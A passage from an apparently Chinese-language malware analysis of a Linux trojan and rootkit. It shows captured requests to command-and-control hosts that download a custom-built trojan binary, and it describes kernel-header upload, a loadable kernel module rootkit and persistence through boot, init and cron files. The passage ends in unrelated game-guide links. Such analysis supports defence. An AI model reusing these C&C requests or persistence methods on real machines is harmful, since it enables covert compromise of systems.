request: GET /compiler?iid=CE74BF62ACFE944B2167248DD0674977&username=admin &password=admin&ip=103.25.9.245:8005%7C103.240.141.50:8005%7C 66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005 &ver=3.8.0-19-generic%5C%20SMP%5C%20mod_unload%5C%20modversions%5C%20686%5C%20 &kernel=3.8.0 reply: 1001|CE74BF62ACFE944B2167248DD0674977|header directory is exists!
第三个GET请求则是下载上一个请求之后服务器生成的木马的二进制文件,请求的方式已经非常明显了,看包:
request: GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz reply: 1001|CE74BF62ACFE944B2167248DD0674977|create ok
而以上的三个步骤仅仅是针对于感染机器的当前系统版本已经包含在远端服务器中的情况。如果当然的操作系统版本信息并没有包含其中,那么脚本文件则会首先定位到内核头文件的/lib/modules/%s/build/目录中(s%代表uname命令返回的特定信息),然后将内核文件打包并上传到C&C服务器上,这里上传是用的mini这个程序。当然,对于一个产业化的木马来说,这种情况是不多见的,一般的发行版本的内核都是已经被提前编译好的,这里所提及的操作系统的内核信息不在C&C服务器中的情况大多是比较特殊的服务器。
该rootkit组件是一个可装载的内核模块(LKM)。在装载之前,需要通过vermagic的值检查。如果绕过检查失败,则该脚本会安装一个木马来替代rootkit组件。
结构和可持续性
主程序的二进制结构如下图所示:
该木马的持续化的方式是通过多种方式进行的。首先,它将自己安装在/boot/目录下,然后命名为一个包含10个字节的字符串。然后脚本将木马以相同的名字在/etc/init.d/ 目录下创建,同时在/etc/rc%u.d/S90%s目录建立五个符号链接,其中u%是1-5,s%是一个随机值。这样保证每次重启系统木马可以随时启动起来。而且,脚本还会对/etc/cron.hourly/cron.sh文件加入以下内容:
小编推荐阅读《热血江湖手游技能加点攻略》(掌握技能加点要诀,成就无敌江湖之王)
阅读新版本赏金玩法出装攻略(全面解析最优出装方案,让你在新版本赏金玩法中独领风骚)
阅读《公主级2-6攻略技能大揭秘》(掌握攻略技能,成为公主级2-6的王者!)
阅读《赵云关羽出装铭文攻略视频大揭秘》(如何为赵云和关羽选择最佳装备和铭文?—MOBA游戏攻略)
阅读P5Sband攻略技能加点详解(P5Sband技能加点策略与建议)
阅读《狐狸职业比赛出装攻略男》(以狐狸为主角,揭秘职业比赛中的最佳出装策略)
阅读《钻石局炸鱼英雄出装攻略》(了解最强出装搭配,带你玩转炸鱼英雄局!)
阅读